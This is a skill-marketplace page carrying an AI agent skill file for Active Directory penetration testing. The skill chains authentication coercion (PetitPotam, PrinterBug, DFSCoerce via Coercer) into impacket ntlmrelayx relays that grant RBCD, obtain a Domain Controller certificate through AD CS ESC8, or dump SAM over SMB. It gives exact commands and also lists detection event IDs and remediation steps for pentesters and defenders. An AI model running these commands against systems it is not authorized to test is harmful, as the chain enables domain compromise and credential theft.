本文へ移動
cccskills
無料GitHub で公開

coercion-ntlm-relay

Authentication coercion (PetitPotam MS-EFSR, PrinterBug MS-RPRN, DFSCoerce MS-DFSNM) chained into NTLM relay (impacket ntlmrelayx) toward LDAP, AD CS web enrollment (ESC8), or SMB. Use when SMB signing is not enforced or LDAP channel binding is missing, and you want to force a privileged machine account to authenticate to your relay and turn that into RBCD, a DCSync-capable ACL grant, or a certificate. Includes the exact Coercer/ntlmrelayx commands, requirements, detection, and remediation.

ADScanPro/Claude-AD
インストール方法を見る

含まれるファイル（1）

  • SKILL.md7.6 KB

SKILL.md（原文）

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Coercion + NTLM Relay

Two techniques that combine into one of the most reliable domain-compromise chains: force a target (usually a Domain Controller's machine account) to authenticate to a host you control, then relay that authentication to a service that lacks the protection to reject it. No credential cracking involved; you are borrowing a live authentication.

The chain only works when a relay target is unprotected:

  • Relay to LDAP/LDAPS requires LDAP signing not enforced and channel binding (EPA) absent.
  • Relay to SMB requires SMB signing not enforced on the destination.
  • Relay to AD CS web enrollment (ESC8) requires the HTTP enrollment endpoint up without EPA.

Check signing posture first:

nxc smb 10.0.0.0/24 --gen-relay-list relay_targets.txt        # hosts without SMB signing
nxc ldap 10.0.0.10 -u user -p 'Password123' -M ldap-checker   # LDAP signing / channel binding state

Part 1: Coercion

You need a way to make a privileged account authenticate outbound to your IP. Three RPC-based coercion methods, each abusing a different protocol. All fire the target's machine account ($) authentication at you.

PetitPotam: MS-EFSR (Encrypting File System Remote)

MITRE ATT&CK: T1187 (Forced Authentication)

Abuses the EFSRPC interface (EfsRpcOpenFileRaw and related). Often works unauthenticated against unpatched DCs; authenticated on patched ones.

Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
  -l <YOUR_IP> -t 10.0.0.10 --filter-method-name EfsRpc

Classic standalone tool:

python3 PetitPotam.py -u user -p 'Password123' -d CORP.LOCAL <YOUR_IP> 10.0.0.10

PrinterBug: MS-RPRN (Print System Remote Protocol)

MITRE ATT&CK: T1187

Abuses RpcRemoteFindFirstPrinterChangeNotificationEx via the Spooler service. Works wherever the Print Spooler is running (still common on DCs).

Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
  -l <YOUR_IP> -t 10.0.0.10 --filter-protocol-name MS-RPRN

Standalone:

python3 dementor.py <YOUR_IP> 10.0.0.10 -u user -p 'Password123' -d CORP.LOCAL

DFSCoerce: MS-DFSNM (Distributed File System Namespace Management)

MITRE ATT&CK: T1187

Abuses NetrDfsAddStdRoot/NetrDfsRemoveStdRoot. Useful when EFSR and Spooler are patched/disabled, because DFSNM is harder to turn off on a DC.

Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
  -l <YOUR_IP> -t 10.0.0.10 --filter-protocol-name MS-DFSNM

Standalone:

python3 dfscoerce.py -u user -p 'Password123' -d CORP.LOCAL <YOUR_IP> 10.0.0.10

Coercer sweeps all methods at once if you drop the filters, which is handy to find whatever is not patched.

Part 2: NTLM Relay (impacket ntlmrelayx)

Stand up the relay before you coerce. The coerced authentication lands on ntlmrelayx, which forwards it to your chosen target.

Relay to LDAP: grant RBCD or DCSync-capable rights

MITRE ATT&CK: T1557.001 (Adversary-in-the-Middle: LLMNR/NBT-NS/relay) / T1187

Relaying a DC's machine account to LDAP lets you write directory objects as that machine. The --delegate-access flow configures RBCD so you can then S4U to the coerced host (Kerberos skill). Requires LDAP signing not enforced and channel binding absent.

ntlmrelayx.py -t ldaps://10.0.0.10 --delegate-access --no-dump --no-da -smb2support

After the relay writes RBCD, S4U (see Kerberos skill). A relayed DC can also be pushed to grant a controlled principal replication rights (the WriteDACL-on-domain-head path in the ACL skill), which then enables DCSync as a post-compromise step.

Relay to AD CS web enrollment: ESC8

MITRE ATT&CK: T1557.001 / T1187

Relay the coerced DC machine account to the CA's HTTP web-enrollment endpoint and enroll a certificate as that DC. Then PKINIT the cert to a TGT (AD CS skill). Requires the web-enrollment endpoint up without EPA.

ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

Coerce a DC (PetitPotam) into this relay, take the issued .pfx, then certipy auth -pfx ....

Relay to SMB: remote command / secrets

MITRE ATT&CK: T1557.001

Relay to a member server whose SMB signing is not enforced to dump SAM or run a command as the relayed account.

ntlmrelayx.py -tf relay_targets.txt -smb2support -c 'whoami'
ntlmrelayx.py -t smb://10.0.0.50 -smb2support --dump-sam

Full chain (order of operations)

  1. Confirm an unprotected relay target (--gen-relay-list, LDAP signing/CBT check).
  2. Start ntlmrelayx.py pointed at LDAP / AD CS / SMB.
  3. Coerce the DC (or other privileged host) to authenticate to your relay IP with Coercer/PetitPotam/PrinterBug/DFSCoerce.
  4. Consume the result: RBCD → S4U (Kerberos skill), ESC8 cert → PKINIT (AD CS skill), or SMB action.

Detection (Event IDs)

  • 4624 (successful logon) with Logon Type 3 and NTLM authentication package, where the account is a machine account ($) authenticating to a host it has no business reaching (the relay endpoint). Machine-to-machine NTLM to a non-standard destination is the core signal.
  • 4662 on the domain object if the relay wrote replication rights; 5136 for the RBCD / DACL / owner writes the relayed session performs (see ACL skill).
  • 4886/4887 on the CA for the ESC8 certificate request/issuance.
  • 5145 (network share object checked) and Spooler/DFS RPC activity on the coerced host around the coercion call.
  • Defender for Identity raises alerts for suspected NTLM relay and for the coercion RPC patterns.

Remediation to write up

  • Enforce SMB signing (require, not just enable) on all hosts, DCs included. This alone breaks SMB relay.
  • Enforce LDAP signing and enable LDAP channel binding (EPA) on Domain Controllers. This breaks the LDAP relay path (Microsoft's hardening, e.g. the LDAP channel-binding/signing enforcement updates).
  • Enable EPA and require HTTPS on AD CS web enrollment; disable HTTP; disable web enrollment if unused. This closes ESC8.
  • Restrict/patch the coercion surface: apply the PetitPotam patch, disable the Print Spooler on DCs and servers that do not print, and apply DFSCoerce mitigations. Coercion methods are many, so relay-target hardening (signing/EPA) is the durable fix.
  • RestrictReceivingNTLMTraffic / RestrictSendingNTLMTraffic GPOs to constrain NTLM, and ultimately move toward disabling NTLM where feasible.
  • Put Tier-0 accounts in Protected Users so their NTLM cannot be relayed.
  • Alert on machine-account NTLM logons to unexpected hosts (4624 type 3 NTLM from $ accounts).

Only run coercion and relay against systems you are explicitly authorized to test. Coercion generates real authentication traffic and can disrupt services. Use lab/generic IPs, hostnames and CA names in write-ups.

Reference

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

ログインしてレビューを書く

同じリポジトリのスキル

概要と使いどころ

acl-abuse

無料

Abusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite, WriteDACL, WriteOwner, AddMember, ForceChangePassword, and replication rights via DS-Replication-Get-Changes-All). Use when BloodHound CE shows an outbound control edge from a principal you own toward a higher-value object, and you want the exact bloodyAD/impacket command to weaponize that ACE, plus detection and remediation. DCSync is covered here strictly as a post-compromise technique, not a user entry path.

日本語の概要は準備中です。原文の説明を表示しています。

ADScanPro/Claude-AD2102026年8月25日 更新

ad-environment-constraints

無料

Real-world Active Directory environment constraints that silently break attacks when ignored: NTLM disabled (Kerberos fallback), AES-only KDCs (RC4 blocked by GPO), LDAP signing and channel binding requiring LDAPS on 636, Kerberos clock skew (KRB_AP_ERR_SKEW), SPNs that must be FQDNs never short names or IPs (the misleading invalidCredentials), Protected Users / LAPS / gMSA / MachineAccountQuota, LDAP 1000-object paging, and VPN latency. Use this whenever a bind, TGT request, LDAP query, or SMB negotiation fails in a way that looks like bad credentials but is really hardening, or before running any AD tooling against a domain you have not fingerprinted. Standard-tooling knowledge (netexec, impacket, certipy, bloodyAD, kerbrute), no vendor-specific engine.

日本語の概要は準備中です。原文の説明を表示しています。

ADScanPro/Claude-AD2102026年8月25日 更新

ad-methodology

無料

The order of operations for an Active Directory penetration test: setup, collection, exploitation, post-processing. Use this whenever you are planning or driving an AD assessment and need to know what to run before what and why (map before you exploit; harvest easy credentials before spraying to avoid lockouts; collect the graph before you reason about paths). Covers phase sequencing with standard tooling: netexec/nxc, impacket, certipy, bloodyAD, kerbrute, BloodHound CE. Invoke it at the start of an engagement, when deciding the next phase, or when a step feels out of order.

日本語の概要は準備中です。原文の説明を表示しています。

ADScanPro/Claude-AD2102026年8月25日 更新

ad-opsec-telemetry

無料

The telemetry each Active Directory technique generates and what alerts a defender: Kerberoasting produces Event 4769 with RC4 encryption (0x17) and an MDI alert, DCSync produces Event 4662 with the DS-Replication-Get-Changes GUID, AS-REP roasting produces Event 4768 with no pre-auth, LSASS dumping is blocked by EDR, plus a lateral-movement telemetry table by protocol (SMB/WMI/WinRM/RDP/DCOM). Use this whenever you run or plan an offensive AD technique and need to know what noise it makes, when writing the engagement's detection notes, or when a defender wants to know what to monitor. Teaches red teamers what is loud and blue teamers what to watch. Standard-tooling knowledge, no vendor engine.

日本語の概要は準備中です。原文の説明を表示しています。

ADScanPro/Claude-AD2102026年8月25日 更新

adcs-attacks

無料

Active Directory Certificate Services (AD CS) escalation techniques ESC1 through ESC17, driven by hand with Certipy (ly4k). Use when the target runs a Certificate Authority and you want to find vulnerable certificate templates or CA misconfigurations, request a certificate that impersonates a privileged user, and know the exact certipy command, what each ESC actually checks, the Windows Event IDs that fire, and the remediation. ESC1 and ESC8 are the two you hit most in the field.

日本語の概要は準備中です。原文の説明を表示しています。

ADScanPro/Claude-AD2102026年8月25日 更新

compliance-mapping

無料

A high-level conceptual mapping from Active Directory attack techniques to the compliance controls they touch. Kerberoasting relates to authentication and logging, so it brushes ENS op.acc.5 / op.exp.8, NIS2 Art.21(2)(h), DORA RTS Art.9 / Art.21. Use this when a reader wants to understand which regulatory control an AD finding relates to, or to add an orientation note to a technical finding. This is a conceptual, orientative mapping only; it is NOT an auditor-defensible, curated, ID-by-ID control matrix. Covers ENS (op.acc.*, op.exp.*), NIS2 (Directive 2022/2555 Art.21), and DORA (RTS 2024/1774).

日本語の概要は準備中です。原文の説明を表示しています。

ADScanPro/Claude-AD2102026年8月25日 更新

ADScanPro のスキルをすべて見る

このスキルの問題を報告する